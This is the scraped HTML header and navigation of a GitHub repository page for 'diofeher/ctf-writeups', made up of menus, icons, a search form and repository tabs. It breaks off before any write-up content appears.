<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="113044948" data-scoped-search-url="/diofeher/ctf-writeups/search" data-owner-scoped-search-url="/users/diofeher/search" data-unscoped-search-url="/search" data-turbo="false" action="/diofeher/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="lpL/4TdNrBpgeRuLGkydBBy6TXZkKakAeWrddiErdl6wFXR5nrcJY9RwWAnz22JKitGXwEdRlUW77/9hnFrcaw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> diofeher </span> <span>/</span> ctf-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>7</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/diofeher/ctf-writeups/security/overall-count" 